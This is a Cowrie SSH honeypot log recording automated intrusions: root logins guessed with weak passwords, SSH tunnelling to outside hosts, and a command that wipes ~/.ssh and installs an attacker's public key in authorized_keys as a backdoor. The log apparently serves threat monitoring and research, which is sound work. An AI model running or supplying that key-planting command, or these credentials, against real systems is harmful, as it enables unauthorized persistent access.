{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.334164Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.337371Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.340940Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.479431Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.910312Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.913566Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:00.060462Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:00.067223Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.90.33.23","src_port":58008,"dst_ip":"159.203.135.109","dst_port":22,"session":"14e803175dca","protocol":"ssh","message":"New connection: 189.90.33.23:58008 (159.203.135.109:22) [session: 14e803175dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:00.190351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:00.196098Z","src_ip":"189.90.33.23","session":"14e803175dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:00.335377Z","src_ip":"189.90.33.23","session":"14e803175dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:00.908939Z","src_ip":"189.90.33.23","session":"14e803175dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:02.047716Z","src_ip":"189.90.33.23","session":"14e803175dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.90.33.23","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"e84f0f8442a6","protocol":"ssh","message":"New connection: 189.90.33.23:58372 (159.203.135.109:22) [session: e84f0f8442a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:02.180264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:02.189097Z","src_ip":"189.90.33.23","session":"e84f0f8442a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:02.326211Z","src_ip":"189.90.33.23","session":"e84f0f8442a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:02.903100Z","src_ip":"189.90.33.23","session":"e84f0f8442a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:03.042379Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:03.048506Z","src_ip":"189.90.33.23","session":"e84f0f8442a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":54126,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4f3059f04a","protocol":"ssh","message":"New connection: 77.90.185.17:54126 (10.17.0.5:22) [session: fe4f3059f04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:06.340237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:06.345115Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:06.453527Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:06.971318Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":44710,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f9f1250e91b","protocol":"ssh","message":"New connection: 101.44.96.62:44710 (159.203.135.109:22) [session: 5f9f1250e91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:09.423593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:09.430313Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:09.647832Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.208.199.116","dst_port":443,"src_ip":"77.90.185.17","src_port":36304,"message":"direct-tcp connection request to 52.208.199.116:443 from 127.0.0.1:36304","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:09.654579Z","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.300860Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.170.77.26","dst_port":443,"src_ip":"77.90.185.17","src_port":36614,"message":"direct-tcp connection request to 54.170.77.26:443 from 127.0.0.1:36614","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.386485Z","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.208.199.116","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.208.199.116:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.482355Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.208.199.116","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\x81s+\\xef\\x87j\\xd8\\xe1\\x1b+s\\x98\\xc1{=w\\xd3\\x99\\xb4\\xca\\xd6\\xedNO\\xa5\\xa4\\x8b\\x05\\xcdR\\xb8 \\xef\\xd1\\x9b\\xbd\\x12(Xkj\\xa2\\x15-\\x07\\xe0\\x8b\\x18@\\xc7\\xab\\\\\\xdf\\x0c\\x18\\xbdd\\x97\\xf1\\x81M\\x1c0\\xfb\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xfe\\xec\\x1a\\x1a\\x17\\xa0\\xa19\\x14ak\\x03C\\xbe\\x9b\\x02\\xf1D8\\x87p\\xbf\\xb4H\\xe6\\xbe\\xbb\\xebO\\x7f#-\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.208.199.116:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\x81s+\\xef\\x87j\\xd8\\xe1\\x1b+s\\x98\\xc1{=w\\xd3\\x99\\xb4\\xca\\xd6\\xedNO\\xa5\\xa4\\x8b\\x05\\xcdR\\xb8 \\xef\\xd1\\x9b\\xbd\\x12(Xkj\\xa2\\x15-\\x07\\xe0\\x8b\\x18@\\xc7\\xab\\\\\\xdf\\x0c\\x18\\xbdd\\x97\\xf1\\x81M\\x1c0\\xfb\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xfe\\xec\\x1a\\x1a\\x17\\xa0\\xa19\\x14ak\\x03C\\xbe\\x9b\\x02\\xf1D8\\x87p\\xbf\\xb4H\\xe6\\xbe\\xbb\\xebO\\x7f#-\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.485517Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.170.77.26","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.170.77.26:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.543213Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
